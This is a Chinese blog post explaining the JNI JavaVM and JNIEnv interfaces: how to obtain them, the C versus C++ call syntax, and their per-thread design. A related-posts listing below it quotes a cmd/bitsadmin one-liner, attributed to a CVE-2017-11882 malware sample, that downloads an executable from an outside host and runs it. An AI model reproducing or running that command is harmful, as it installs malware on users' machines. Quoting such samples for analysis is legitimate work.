文档章节

JNIEnv说明

wangjian19
 wangjian19
发布于 2014/02/21 16:52
字数 774
阅读 353
收藏 5

JavaVM接口

第一种方式,在加载动态链接库的时候,JVM会调用JNI_OnLoad(JavaVM* jvm, void* reserved)(如果定义了该函数)。第一个参数会传入JavaVM指针。

第二种方式,在native code中调用JNI_CreateJavaVM(&jvm, (void**)&env, &vm_args)可以得到JavaVM指针。

两种情况下,都可以用全局变量,比如JavaVM* g_jvm来保存获得的指针以便在任意上下文中使用。

Android系统是利用第二种方式Invocation interface来创建JVM的。

JNIEnv接口

需要强调的是JNIEnv是跟线程相关的。

在native method中,JNIEnv作为第一个参数传入。那么在JNIEnv不作为参数传入的时候,该如何获得它?

JNI提供了两个函数:

(*jvm)->AttachCurrentThread(jvm, (void**)&env, NULL)

 (*jvm)->GetEnv(jvm, (void**)&env, JNI_VERSION_1_2)

 两个函数都利用JavaVM接口获得JNIEnv接口,上面已经讲到如何获得JavaVM接口。

 JNI规范也说明,可以将获得JNIEnv封装成一个函数。

1
2
3
4
5
6
JNIEnv* JNU_GetEnv()
{
             JNIEnv* env;
             (*g_jvm)->GetEnv(g_jvm, (         void         **)&env, JNI_VERSION_1_2);
             return          env;
}

Java通过JNI机制调用c/c++写的native程序。c/c++开发的native程序需要遵循一定的JNI规范,下面的例子就是一个JNI函数声明:

JNIEXPORT jint JNICALL Java_jnitest_MyTest_test
  (JNIEnv 
* env, jobject obj, jint arg0);

JVM负责从Java Stack转入C/C++ Native Stack。当Java进入JNI调用,除了函数本身的参数(arg0),会多出两个参数:JNIEnv指针和jobject指针。
JNIEnv指针是JVM创建的,用于Native的c/c++方法操纵Java执行栈中的数据,比如Java Class, Java Method等。
首先,JNI对于JNIEnv的使用, 提供了两种语法: c语法以及c++语法,如下:
c语法:

jsize len = (*env)->GetArrayLength(env,array);

c++语法:

jsize len =env->GetArrayLength(array);

(注:由于C语言并不支持对象的概念,所以C语法中需要把env作为第一个参数传入,类似于C++的隐式参数this指针).

对于JNIEnv *env来说,在C中调用:

(*env)->NewStringUTF(env, "Hello from JNI!");

而在C++中如果按照上述调用则会发生'base operand of '->' has non-pointer type '_JNIEnv''错误,需要如下调用:

env->NewStringUTF("Hello from JNI!");

原因:参见jni.h中对于JNIEnv的定义:

#if defined(__cplusplus)

typedef _JNIEnv JNIEnv;

#else

typedef const struct JNINativeInterface* JNIEnv;

#endif
另外: JNIEnv有几个设计的原则:
第一、JNIEnv指针被设计成了Thread Local Storage(TLS)变量,也就是说每一个Thread, JNIEnv变量都有独立的Copy。你不能把Thead#1使用的JNIEnv传给Thread#2使用。

第 二、JNIEnv中定义了一组函数指针,c/c++ Native程序是通过这些函数指针操纵Java数据。这样设计的好处是:你的c/c++ 程序不需要依赖任何函数库,或者DLL。由于JVM可能由不同的厂商实现,不同厂商有自己不同的JNI实现,如果要求这些厂商暴露约定好的一些头文件和 库,这不是灵活的设计。
而且使用函数指针表的另外一个好处是: JVM可以根据启动参数动态替换JNI实现。


© 著作权归作者所有

共有 人打赏支持
wangjian19
粉丝 15
博文 60
码字总数 101397
作品 0
深圳
高级程序员
jni循环调用java接口发生崩溃

C本地接口 JNIEnv* jniEnv = NULL; jclass TestProvider = NULL; jobject mTestProvider = NULL; void CtoJavaInit(void){ TestProvider = (jniEnv)->FindClass(jniEnv,"com/example/jni/C2......

fcsong000833
2013/10/27
2.1K
17
「游戏引擎Mojoc」(10)Android NDK通用JNI调用Java代码封装

Mojoc提供了一个通用的工具类,来调用Android Java代码,以实现特定平台的功能。这个工具类封装了JNI使用的繁琐细和上下文对象的获取,提供了简单直接的API专注于Java类和方法的访问,并且实...

scottcgi
05/20
0
0
基于 Android NDK 的学习之旅----- C调用Java

许多成熟的C引擎要移植到Android 平台上使用 , 一般都会 提供 一些接口, 让Android sdk 和 jdk 实现。 下文将会介绍 C 如何 通过 JNI 层调用 Java 的静态和非静态方法。 1、主要流程 1、 新建...

LiSteven
2013/03/19
0
0
Java中JNI的使用详解第二篇:JNIEnv类型和jobject类型的解释

上一篇说的是一个简单的应用,说明JNI是怎么工作的,这一篇主要来说一下,那个本地方法sayHello的参数的说明,以及其中方法的使用 首先来看一下C++中的sayHello方法的实现: [cpp] view plai...

zhangyujsj
2015/08/23
0
0
学习——>JNI设置C++与java的结合(2)

我们可以看到其中有四个函数声明, Java完整类名方法名, 完整类名包括了包名, 例如demo.Sample1是完整类名, 对应的这里就是demoSample1. 在注释中我们可以看到这样一个东西 Signature, 这个是...

home-kevin
2014/01/07
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
9分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
23分钟前
0
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
24分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
35分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部